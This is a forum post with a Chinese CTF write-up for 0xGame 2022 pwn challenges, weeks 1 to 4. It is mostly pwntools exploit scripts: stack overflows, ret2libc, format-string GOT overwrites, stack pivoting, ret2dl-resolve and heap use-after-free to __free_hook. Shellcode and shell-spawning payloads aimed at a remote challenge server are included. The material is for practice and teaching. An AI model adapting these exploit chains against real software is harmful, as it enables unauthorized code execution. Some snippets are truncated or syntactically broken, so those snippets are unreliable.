0xgame2022 PWN week1-4

打印 上一主题 下一主题

主题 829|帖子 829|积分 2487

0xgame week1

pwn1

签到的nc,cat flag
pwn2

ret2backdoor,一个栈溢出
  1. #encoding = utf-8
  2. from pwn import *
  3. import os
  4. import sys
  5. import time
  6. #from ae64 import AE64
  7. #from LibcSearcher import *
  8. context.os = 'linux'
  9. context.arch = 'amd64'
  10. #context.arch = 'i386'
  11. context.log_level = "debug"
  12. name = './pwn2'
  13. debug = 1
  14. if debug:
  15.     p = remote('49.233.15.226',8002)
  16. else:
  17.     p = process(name)
  18. libcso = '/lib/x86_64-linux-gnu/libc.so.6'
  19. #libcso = './'
  20. libc = ELF(libcso)
  21. #libc = elf.libc
  22. elf = ELF(name)
  23. context.terminal = ['gnome-terminal','-x','sh','-c']
  24. s       = lambda data               :p.send(str(data))
  25. sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
  26. sl      = lambda data               :p.sendline(str(data))
  27. sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
  28. r       = lambda num                :p.recv(num)
  29. ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
  30. itr     = lambda                    :p.interactive()
  31. uu32    = lambda data               :u32(data.ljust(4,'\x00'))
  32. uu64    = lambda data               :u64(data.ljust(8,'\x00'))
  33. li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
  34. ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
  35. add_idx = 1
  36. delete_idx = 2
  37. show_idx = 4
  38. edit_idx = 3
  39. def dbg():
  40.    gdb.attach(proc.pidof(p)[0])
  41.    pause()
  42.   
  43. '''
  44. def choice(cho):
  45.     sla('enter your command: \n',cho)
  46. def add(idx):
  47.     choice(add_idx)
  48.     sla('choise:',idx)
  49. def delete(idx):
  50.     choice(delete_idx)
  51.     sla('Index: \n',idx)
  52. def show(idx):
  53.     choice(show_idx)
  54.     sla('Index: ',idx)
  55. def edit(idx,content):
  56.     choice(edit_idx)
  57.     sla('Index: ',idx)
  58.     p.sendlineafter('Message: \n',content)
  59. '''
  60. sys = 0x40123d
  61. main = 0x4011FB
  62. pl = b'a'*0x58+p64(sys)
  63. p.recvuntil('ret2text?\n')
  64. p.sendline(pl)
  65. #dbg()
  66. p.interactive()
  67. '''
  68. def pwn():
  69. if __name__ == '__main__':
  70.     pwn()
  71. '''
  72. #print('========================================================================================')
  73. '''
  74. pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
  75. pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
  76. pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
  77. pop_rdx12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
  78. leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
  79. bin_sh = libc + libc.search('/bin/sh').next()
  80. open_addr = libc_base + libc.sym['open']
  81. read_addr = libc_base + libc.sym['read']
  82. puts_addr = libc_base + libc.sym['puts']
  83. gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
  84. li('gadget = '+hex(gadget))
  85. '''
  86. '''
  87. mov    rbp,QWORD PTR [rdi+0x48]
  88. mov    rax,QWORD PTR [rbp+0x18]
  89. lea    r13,[rbp+0x10]
  90. mov    DWORD PTR [rbp+0x10],0x0
  91. mov    rdi,r13
  92. call   QWORD PTR [rax+0x28]
  93. '''
  94. #print('========================================================================================')
  95. '''
  96. def ret2libc_leak(main,got,plt,offset):
  97.     if x64_32:
  98.         payload = b'a'*offset + b'b'*8 + p64(rdi) + p64(got) + p64(plt) + p64(main)
  99.     else:
  100.         payload = b'a'*offset + b'b'*4 + p32(plt) + p32(main) + p32(got)
  101.     return payload
  102. def fmt_w(flag,num,offset):
  103.     if flag==2:
  104.         payload = b'%' + str(num) + b'c' + b'%' + str(offset) + b'$hn'
  105.     elif flag==1:
  106.         payload = b'%' + str(num) + b'c' + b'%' + str(offset) + b'$hhn'
  107. '''
  108. #print('========================================================================================')
  109. '''
  110. 0xe3afe execve("/bin/sh", r15, r12)
  111. constraints:
  112.   [r15] == NULL || r15 == NULL
  113.   [r12] == NULL || r12 == NULL
  114. 0xe3b01 execve("/bin/sh", r15, rdx)
  115. constraints:
  116.   [r15] == NULL || r15 == NULL
  117.   [rdx] == NULL || rdx == NULL
  118. 0xe3b04 execve("/bin/sh", rsi, rdx)
  119. constraints:
  120.   [rsi] == NULL || rsi == NULL
  121.   [rdx] == NULL || rdx == NULL
  122. '''
  123. #print('========================================================================================')
  124. '''
  125. def dbg(cmd=''):
  126.     os.system('tmux set mouse on')
  127.     context.terminal = ['gnome-terminal','-x','sh','-c']
  128.     gdb.attach(p,cmd)
  129.     pause()
  130. command = 'b *'+ str(hex(gadget))+'\n'
  131. dbg(command)
  132. '''
  133. #print('========================================================================================')
复制代码
pwn3

经典的ret2text
  1. sys = 0x0401080
  2. sys_ls = 0x040124D
  3. bin_sh = 0x0404048
  4. pop_rdi_ret = 0x4012c3
  5. ret = 0x40101a
  6. pl = b'a'*0xa8 + p64(ret)+ p64(pop_rdi_ret) + p64(bin_sh) + p64(sys)
  7. p.sendafter('me?\n',pl)
复制代码
pwn4

ret2shellcode,将shellcode填入buf处再填满溢出回buf处即可
  1. shellcode=asm(shellcraft.sh())
  2. print(shellcode)
  3. p.recvuntil(':')
  4. buf_addr  = int(p.recv(15),16)
  5. li('buf_addr  = '+hex(buf_addr))
  6. shellcode_addr = buf_addr + 0x58 + 8
  7. li('shellcode_addr  = '+hex(shellcode_addr))
  8. p.recvuntil('something?')
  9. shell=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  10. pl = shell.ljust(88,b'\x00')+p64(buf_addr)
  11. #pl = b'a'*0x58 + p64(shellcode_addr) + shellcode
  12. p.sendline(pl)
  13. #dbg()
复制代码
pwn5

ret2libc,给了puts地址所以可以直接获取libc基地址
  1. puts_got = elf.got['puts']
  2. puts_plt = elf.plt['puts']
  3. ret = 0x40101a
  4. pop_rdi_ret = 0x4012f3
  5. main = 0x040121B
  6. p.sendlineafter('words?\n','-255')
  7. pl = b'a'*0x58+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
  8. p.sendline(pl)
  9. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
  10. li('libc_base = '+hex(libc_base))
  11. #dbg()
  12. sys = libc_base + libc.sym['system']
  13. bin_sh = libc_base + 0x1b45bd
  14. p.sendlineafter('words?\n','-255')
  15. pl = b'a'*0x58+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys)
  16. p.sendline(pl)
复制代码
pwn6

一个ret2csu

gadgets1 = 0x000000000040130a
gadgets2 = 0x00000000004012f0

execve:


  1. gadget1_addr = 0x40130A
  2. gadget2_addr = 0x4012F0
  3. bin_sh_addr = 0x40201D
  4. def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):
  5.     payload = p64(addr1) + p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(jmp2) + p64(addr2) + b'a'*56
  6.         return payload
  7. payload = b'a'*0x50 + b'b'*0x8 +
  8. payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['execve'], bin_sh_addr, 0, 0)
  9. p.sendafter(b'Plz tell me sth : ', payload)
  10. p.sendline(b'cat flag 1>&0')
复制代码
gift


一个利用点是system("$0") 等价于 system("/bin/sh")
libc文件放进IDA中可以看到puts调用了j_strlen这个函数(其实在libc 中也只有 j_xxx 的函数才会有 plt 表与 got 表),所以直接将 libc 中 j_strlen() 函数的 got 表改为 system 函数即可

到改其调用的其他某个函数在 libc 中的 got 表为 system ,并保证此时 rdi 依然是 $0 即可(也就是在 libc 的 puts 中找到它最先调用的那个函数最保险)

将libc_strlen_got写入buf中去
  1. p.sendlineafter("address:\n", hex(libc_strlen_got))
复制代码
  1. p.sendafter("content:\n", p64(system_addr)[:5])
  2. #只能读进5位,但前面都是相同的,所以将sys的后5位送进去就可以修改got表里的__strlen_avx2
复制代码
  1. p.recvuntil("gift:\n")
  2. libc_base = int(p.recvline().strip(b"\n"), 16) - libc.sym['puts']
  3. li("libc_base:\t" + hex(libc_base))
  4. libc_strlen_got = libc_base + 0x1EC0A8
  5. li('libc_strlen_got ='+hex(libc_strlen_got))
  6. system_addr = libc_base + libc.sym['system']
  7. #p.sendlineafter("address:\n", b'bbbb')
  8. p.sendlineafter("address:\n", hex(libc_strlen_got))  
  9. print(b'1 = '+ p64(system_addr))
  10. print(b'2 = '+ (p64(system_addr)[:5]))
  11. dbg()
  12. '''
  13. p.sendafter("content:\n", b'aaaaa')
  14. '''
  15. p.sendafter("content:\n", p64(system_addr)[:5])
复制代码
week2

pwn1

格式字符串漏洞,利用达成a = 66就可以getshell
  1. a_addr = 0x404050
  2. payload = fmtstr_payload(6, {a_addr:66})
  3. p.recvuntil('format?\n')
  4. p.sendline(payload)
  5. p.interactive()
复制代码
pwn2

卡了一会,最后做出来的这个
这个有后门,给了两个格式字符串漏洞,还给了glibc,着实被迷惑住了,方向想歪了
其实只要第二次输入的时候将puts的got表改成backdoor,当read完后,执行到下面puts就相当于触发后门了
  1. backdoor = 0x40121B
  2. p.recvuntil('something?\n')
  3. pl = '%1$p-%3$p'
  4. p.sendline(pl)
  5. '''
  6. stack = int(p.recv(14),16)
  7. li(hex(stack))
  8. '''
  9. p.recvuntil('-')
  10. libc = int(p.recv(14),16)-0x10DFD2
  11. li(hex(libc))
  12. p.recvuntil('deeper')
  13. '''
  14. pl = b'a'*0x68+p64(backdoor)
  15. p.sendline(pl)
  16. #dbg()
  17. '''
  18. pro = ELF("./pwn2")
  19. puts_got = pro.got["puts"]
  20. system_plt = pro.plt["system"]
  21. pl = fmtstr_payload(8, {puts_got:backdoor})
  22. p.send(pl)
  23. p.interactive()
复制代码
pwn3

开了pie,通过第一次输入的格式字符串漏洞泄露出改一下就能拿到backdoor地址了
但要注意的点是这个后门需要加上偏移,不然跳到的不是正确的位置
  1. bd = 0x122E
  2. p.recvuntil('name?\n')
  3. pl = '%27$p'
  4. p.sendline(pl)
  5. #1
  6. magic = int(p.recv(12)+b'2E',16)
  7. li('magic = '+hex(magic))
  8. #2
  9. #dbg()
  10. p.recvuntil('getshell?\n')
  11. pl = b'a'*0x88+p64(magic+6)
  12. p.sendline(pl)
  13. p.interactive()
复制代码
pwn4

无后门,泄露并获取canary和libc基址
第二次栈溢出即可
  1. bd = 0x122E
  2. p.recvuntil('name?\n')
  3. pl = '%3$p-%23$p'
  4. p.sendline(pl)
  5. libc = int(p.recv(14),16)
  6. libc_base = libc-0x10DFD2
  7. li('libc_base = '+hex(libc_base))
  8. p.recvuntil('-')
  9. canary = int(p.recv(18),16)
  10. li(hex(canary))
  11. sys = libc_base + 0x52290
  12. bin_sh = libc_base + 0x1b45bd
  13. ret = 0x000000000040101a
  14. pop_rdi_ret = 0x0000000000401323
  15. #dbg()
  16. p.recvuntil('getshell?\n')
  17. pl = b'a'*0x88+p64(canary)+b'b'*0x8
  18. pl += p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys)
  19. p.sendline(pl)
  20. p.interactive()
复制代码
pwn5



区别于上个题,最后有个奇怪的东西
  1. pl = b'%39$p%40$p%43$p'
  2. p.recvuntil('name?\n')
  3. p.sendline(pl)
  4. canary = int(p.recv(10),16)
  5. li(hex(canary))
  6. stack = int(p.recv(10),16)
  7. li(hex(stack))
  8. libc_base = int(p.recv(10),16) - (0xf7ce84a0-0xf7cc7000) -121
  9. #-libc.sym['__libc_start_call_main']-121
  10. li('libc_base = '+hex(libc_base))
  11. system_addr = libc_base + libc.sym['system']
  12. binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
复制代码
  1. payload = b'a'*0x80 + p32(canary) + p32(stack - 0x10) + b'b'*4 + b's'*4
复制代码
stack-0x10:
  1. payload = b'a'*0x80 + p32(canary) + p32(stack - 0x10) + b'b'*4 + b's'*4 # b'a'*12
  2. payload += p32(system_addr) + b'c'*4 + p32(binsh_addr)
  3. dbg()
  4. p.sendlineafter("Do you know how to getshell?\n", payload)
复制代码
week3

pwn1

禁execve,有次较大的read




利用思路:
首先获取libc,再返回main地址
然后构造一个read写到bss+0x500,再返回main地址
接着通过这次读将构造好的orw写入上面的bss+0x500
接下来栈迁移bss+0x4f8到栈上执行(注意栈帧的调整)
获取libc
  1. puts_got = elf.got['puts']
  2. puts_plt = elf.plt['puts']
  3. read_got = elf.got['read']
  4. main_addr = 0x4012ff
  5. getflag = 0x404048
  6. pop_rdi_ret = 0x4013b3
  7. ret = 0x40101a
  8. bss = elf.bss()
  9. li('bss = '+hex(bss))
  10. p.recvuntil('try\n')
  11. pl = b'a'*0x28 +p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  12. p.sendline(pl)
  13. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
  14. li('libc_base'+hex(libc_base))
  15. open_addr = libc_base + libc.sym['open']
  16. read_addr = libc_base + libc.sym['read']
  17. puts_addr = libc_base + libc.sym['puts']
  18. pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
  19. pop_rax_ret = libc_base + libc.search(asm('pop rax;ret;')).__next__()
  20. pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
  21. pop_rdx12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
  22. pop_rsi15_ret = libc_base + libc.search(asm('pop rsi;pop r15;ret;')).__next__()
  23. leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
  24. syscall = libc_base + libc.sym['syscall']
复制代码
构造一个read(0,bss+0x500,100)写到bss+0x500,再返回main地址
  1. p.recvuntil('try\n')
  2. poc=b'a'*0x28
  3. poc += p64(pop_rdi_ret)
  4. poc += p64(0)
  5. poc += p64(pop_rsi_ret)
  6. poc += p64(bss+0x500)
  7. poc += p64(pop_rdx12_ret)
  8. poc += p64(0x100)+p64(0)
  9. poc += p64(read_addr)
  10. poc += p64(main_addr)
  11. p.send(poc)
复制代码
通过这次读将构造的orw写入上面的bss+0x500
  1. # open(0x404048'./flag',0)
  2. pl= p64(pop_rdi_ret)+p64(0x404048)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
  3. # read(4,bss+0x500,0x50,0)
  4. pl+= p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss+0x700)+p64(pop_rdx12_ret)+p64(0x50)+p64(0)+p64(read_addr)
  5. # puts(bss+0x500)
  6. pl+= p64(pop_rdi_ret)+p64(bss+0x700)+p64(puts_addr)
  7. p.sendline(pl)
复制代码
栈迁移
  1. payload = b'a'*0x20
  2. payload += p64(bss+0x4f8)
  3. payload += p64(leave_ret)
  4. #dbg()
  5. p.sendline(payload)
  6. ''''''
  7. 图一
  8. payload = b'a'*0x28
  9. payload += p64(bss+0x4f8)
  10. payload += p64(leave_ret)
  11. 图三
  12. payload = b'a'*0x20
  13. payload += p64(bss+0x500)
  14. payload += p64(leave_ret)
  15. ''''''
复制代码


pwn2

和pwn1的区别在read读的少0x50

但我们上个exp中每次payload就写的不算多,也就可以直接套第一个用
pwn3

两次read,第一次读到mmap分配的地址
第二次读很小,只要0x10能溢出

图床不够放了,明天有空再放下面的吧
<img alt="image-20221019091212309" loading="lazy">
栈迁移
  1. pl = p64(main_addr)+p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)+ p64(main_addr) + p64(0x405000)+b'/bin/sh\x00'
  2.   
  3. # + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(0x405000+0x50) +p64(0) + p64(0x405000elf.sym['read'])
  4.   
  5. p.sendlineafter('name\n',pl)
  6. pl = b'a'*0x60+ p64(0x405000) + p64(leave_ret)
  7. p.sendafter('pivoting?\n',pl)
  8. libc_base = uu64(r(6))-libc.sym['puts']
  9. pop_rdx_ret = libc_base + 0x0000000000142c92
  10. system = libc_base + libc.sym['system']
  11. binsh = 0x30 + 0x405000
复制代码

<img alt="image-20221019091219125" loading="lazy">
<img alt="image-20221019092104370" loading="lazy">
p64(pop_rsi_ret) + p64(0) + p64(0) + p64(pop_rdx_ret) + p64(0)将rsi和rdx置零达成调用onegadgte的前提
调整栈帧跳到p64(0x404fe8),避免写入0x405000的onegadget被0覆盖
  1. pl = b'' #p64(pop_rdi_ret) + p64(binsh) + p64(system)
  2. p.sendlineafter('name\n',pl)
  3. og = libc_base + 0xe3b04
  4. pl = b'a'*0x30 + p64(pop_rsi_ret) + p64(0) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(og)+ p64(0x404fe8) +p64(leave_ret)
  5. p.sendafter('pivoting?\n',pl)
复制代码
<img alt="image-20221019094409793" loading="lazy">
<img alt="image-20221019094454177" loading="lazy">
<img alt="image-20221019095618845" loading="lazy">
<img alt="" loading="lazy">
pwn4

<img alt="image-20221020210427045" loading="lazy">
<img alt="image-20221020210757226" loading="lazy">
想较于前一题减去了第一次读入mmap分配地址的read
我们选择将shellcode写入bss段0x0404040,再栈迁移执行
<img alt="image-20221020212016071" loading="lazy">
第一次构造read(bss+0x150)
获取puts真实地址再转到read为后面进行下一次溢出
填满0x50后,进行栈迁移来执行来获取libc_base
获取libc基址后将onegadget送入,填满并对齐后进行栈迁移来执行
但要注意栈帧的调整
  1. def pwn():
  2.     pl = b'a'*0x50 + p64(0x0404040 + 0x150) + p64(0x004011FD) #bss+0x150  read
  3.     #debug()
  4.     p.sendafter('do you know stack pivoting?\n',pl)
  5.     puts_got = elf.got['puts']
  6.     puts_plt = elf.plt['puts']
  7.     pl = p64(0x0404040 + 0x100) + p64(0x0401283) + p64(puts_got) + p64(puts_plt) +p64(0x004011FD) #rdi read
  8.     pl = pl.ljust(0x50,b'\x00')
  9.     pl += p64(0x0404040 + 0x100) +p64(0x040121d) #leave_ret
  10.     p.send(pl)
  11.    
  12.     libcbase = uu64(r(6)) - libc.sym['puts']
  13.     leak('libcbase',libcbase)
  14.     pl = p64(0x000000000002601f + libcbase) + p64(0) + p64(libcbase + 0x0000000000142c92) + p64(0) + p64(libcbase + 0xe3b04) #rsi rdx og
  15.     pl = pl.ljust(0x50,b'a')
  16.     pl += p64(0x0404040 + 0xa8) + p64(0x040121d) #调栈帧 leave_ret
  17.     p.send(pl)
  18.     itr()
  19. if __name__ == '__main__':
  20.     pwn()
复制代码
whitegive_1

保护全开
<img alt="image-20221021150220900" loading="lazy">
flag被读到stream和unk_4080
<img alt="image-20221021150312356" loading="lazy">
送了libc基址,有4次任意读
  1. p.recvuntil('gift :')
  2. libcbase = int(p.recv(15),16) - libc.sym['puts']
  3. li('libc_base = '+hex(libcbase))
  4. en = libcbase + libc.sym['__environ']
  5. pl = p64(en)
  6. p.sendafter('Please input the address you want to query : ',pl)
  7. stack  = uu64(r(6))
  8. leak('stack',stack)
  9. dbg()
  10. pl = p64(stack-0x30)
  11. p.sendafter('Please input the address you want to query : ',pl)
  12. pie = uu64(r(6)) - 0x118e
  13. leak('pie',pie)
  14. flag = pie + 0x4080
  15. pl = p64(flag)
  16. p.sendafter('Please input the address you want to query : ',pl)
  17. pl = p64(stack - 0x168)
  18. p.sendafter('Please input the address you want to query : ',pl)
  19. itr()
复制代码
第一次获取stack地址
  1. en = libcbase + libc.sym['__environ']
  2. pl = p64(en)
  3. p.sendafter('Please input the address you want to query : ',pl)
  4. stack  = uu64(r(6))
  5. leak('stack',stack)
复制代码
0x7fff4419f708-0x30处找到一处程序地址
<img alt="image-20221021150930488" loading="lazy">
  1. pl = p64(stack-0x30)
  2. p.sendafter('Please input the address you want to query : ',pl)
  3. pie = uu64(r(6)) - 0x118e
  4. leak('pie',pie)
复制代码
破解了pie,然后读取bss段的后半段flag
  1. flag = pie + 0x4080
  2. pl = p64(flag)
  3. p.sendafter('Please input the address you want to query : ',pl)
复制代码
再读取前半段flag
<img alt="image-20221021151409874" loading="lazy">
<img alt="image-20221021151342352" loading="lazy">
  1. pl = p64(stack - 0x168)
  2. p.sendafter('Please input the address you want to query : ',pl)
复制代码
whitegive_1_plus

4次改为两次读
在只有libc基址的情况下获取进程地址
我们找到了stderr处
<img alt="image-20221021153010059" loading="lazy">
  1. stderr = libc_base +  0x1EBDB0
  2. li(hex(stderr))
  3. p.sendafter('query :',p64(stderr))
复制代码
打两次分别获取前后两端flag
  1. flag = uu64(r(6))-0x4040+0x4080
  2. li(hex(flag))
  3. p.sendafter('query :',p64(flag))
  4. '''
  5. p.sendafter('query :',p64(environ))
  6. p.recv()
  7. stack = uu64(r(6))
  8. li('stack = '+hex(stack))
  9. dbg()
  10. pl = p64(stack - 0x168)
  11. p.sendafter('query :',pl)
  12. '''
复制代码
whitegive_2

<img alt="image-20221021154528018" loading="lazy">
<img alt="image-20221021154615148" loading="lazy">
一次格式字符串任意读
一次0x10大小溢出
分别读了libc和stack
onegadget + 栈迁移
  1. def pwn():
  2.         pl = '%8$p%1$p'
  3.        
  4.         p.sendafter('Please leave your name :\n',pl)
  5.         ru('Hello, ')
  6.         libcbase = int(r(14),16) - 0x7fa72ecdf2e8 + 0x7fa72eaee000
  7.         leak('libcbase',libcbase)
  8.         stack = int(r(14),16)
  9.         leak('stack',stack)
  10.        
  11.         leave = libcbase + 0x00000000000578c8
  12.         og = libcbase + 0xe3b04
  13.         li(hex(og))
  14.         rsi = libcbase + 0x000000000002601f
  15.         li(hex(rsi))
  16.         rdx = libcbase + 0x0000000000142c92
  17.        
  18.         pl = p64(rdx) + p64(0) + p64(rsi) + p64(0) + p64(og)
  19.         pl = pl.ljust(0x30,b'\x00')
  20.        
  21.         pl += p64(stack+1) + p64(leave)
  22.        
  23.         p.sendafter('Now, please send your message :\n',pl)
  24.        
  25.         itr()
  26. if __name__ == '__main__':
  27.     pwn()
复制代码
<img alt="image-20221021160617126" loading="lazy">
<img alt="image-20221021160627771" loading="lazy">
<img alt="image-20221021161132608" loading="lazy">
  1. payload = b'A' * 24 + p64(addr_pop4) + p64(addr_pop_rdi) + p64(elf.got['write']) + p64(elf.symbols['puts']) + p64(elf.symbols['main'])
复制代码
whitegive_3

ret2dl-resolve
  1. payload = p64(0x4012AA)+p64(0)+p64(1)+p64(0)+p64(0x404020)+p64(0x1)+p64(0x404028)+p64(0x40 1290)
  2. payload += p64(0)+p64(0)+p64(1)+p64(0)+p64(0x404100)+p64(0x900)+p64(0x404028)+p64(0x401290)
  3. payload += p64(0)+p64(0)+p64(1)+p64(0x404100)+p64(0)+p64(0)+p64(0x404020)+p64(0x401290)
  4. p.send(b"a"*32+p64(0)+payload) sleep(1)
  5. p.send(b'\x15')
  6. sleep(1)
  7. p.send(b'/bin/sh\x00'+b'a'*0x33)
  8. p.sendline("exec 1>&0")
复制代码
week4

pwn1

UAF
<img alt="image-20221023131908790" loading="lazy">
<img alt="image-20221023131700423" loading="lazy">
  1. edit(6,0x80,p64(free_hook))
复制代码
<img alt="image-20221023131734462" loading="lazy">
  1. def choice(cho):
  2.     sla('>> ',str(cho))
  3. def add(index,size,content):
  4.     choice(add_idx)
  5.     sla('\n',str(index))
  6.     sla('\n',str(size))
  7.     sa('\n',content)
  8. def delete(index):
  9.     choice(delete_idx)
  10.     sla('\n',str(index))
  11. def show(index):
  12.     choice(show_idx)
  13.     sla('\n',str(index))
  14. def edit(index,size,content):
  15.     choice(edit_idx)
  16.     sla('\n',str(index))
  17.     sla('\n',str(size))
  18.     sla('\n',content)
  19. for i in range(8):
  20.         add(i,0x80,'\n')
  21. for i in range(7):
  22.         delete(i)
  23. add(8, 0x10, '\n')
  24. delete(7)
  25. add(8, 0x40, '\n')
  26. show(8)
  27. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-138-0x10-libc.sym['__malloc_hook']
  28. li(hex(libc_base))
  29. system = libc_base + libc.sym['system']
  30. bin_sh = libc_base + 0x7fbc1675d5bd - 0x7fbc165a9000
  31. free_hook = libc_base + libc.sym['__free_hook']
  32. li(hex(free_hook))
  33. pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
  34. pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
  35. pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
  36. edit(6,0x80,p64(free_hook))
  37. def add2(index,size,content):
  38.     choice(add_idx)
  39.     sla('\n',str(index))
  40.     sla('\n',str(size))
  41.     sla('\n',content)
  42.    
  43. add2(0,0x80,b'0')
  44. add2(0,0x80,p64(system))
  45. add2(0,0x10,b'/bin/sh\x00')
  46. delete(0)
复制代码
pwn2

相较前一题没了edit
<img alt="image-20221101142559112" loading="lazy">
一开始卡住了,将b去掉即可
<img alt="image-20221101163312242" loading="lazy">
  1. add(20,0x10,b'/bin/sh\x00') --》 add(20,0x10,'/bin/sh\x00')
复制代码
exp:
  1. add(0,0x1000,'aaa')
  2. add(20,0x10,'/bin/sh\x00')
  3. delete(0)
  4. show(0)
  5. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -96 -0x10 -libc.sym['__malloc_hook'] #-0x2a
  6. li('libc_base = '+hex(libc_base))
  7. pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
  8. pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
  9. pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
  10. pop_rdx12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
  11. leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
  12. bin_sh = libc_base + next(libc.search(b'/bin/sh'))
  13. open_addr = libc_base + libc.sym['open']
  14. read_addr = libc_base + libc.sym['read']
  15. puts_addr = libc_base + libc.sym['puts']
  16. syscall = libc_base + libc.sym['syscall']
  17. system = libc_base + libc.sym['system']
  18. free_hook = libc_base + libc.sym['__free_hook']
  19. malloc_hook = libc_base + libc.sym['__malloc_hook']
  20. for i in range(9):
  21.         add(i,0x10,'\n')
  22. for i in range(9):
  23.         delete(i)
  24. delete(7)
  25. for i in range(7):
  26.         add(i+2,0x10,'\n')
  27. def add2(index,size,content):
  28.     choice(add_idx)
  29.     sla('\n',str(index))
  30.     sla('\n',str(size))
  31.     p.sendafter('\n',content)
  32.    
  33. add2(11,0x10,p64(free_hook))
  34. add2(12,0x10,'\n')
  35. add2(13,0x10,'\n')
  36. add2(14,0x10,p64(system))
  37. p.recvuntil(b'>> ')
  38. p.sendline("2")
  39. p.recvuntil(b'Please input index\n')
  40. p.sendline("20")
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

数据人与超自然意识

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表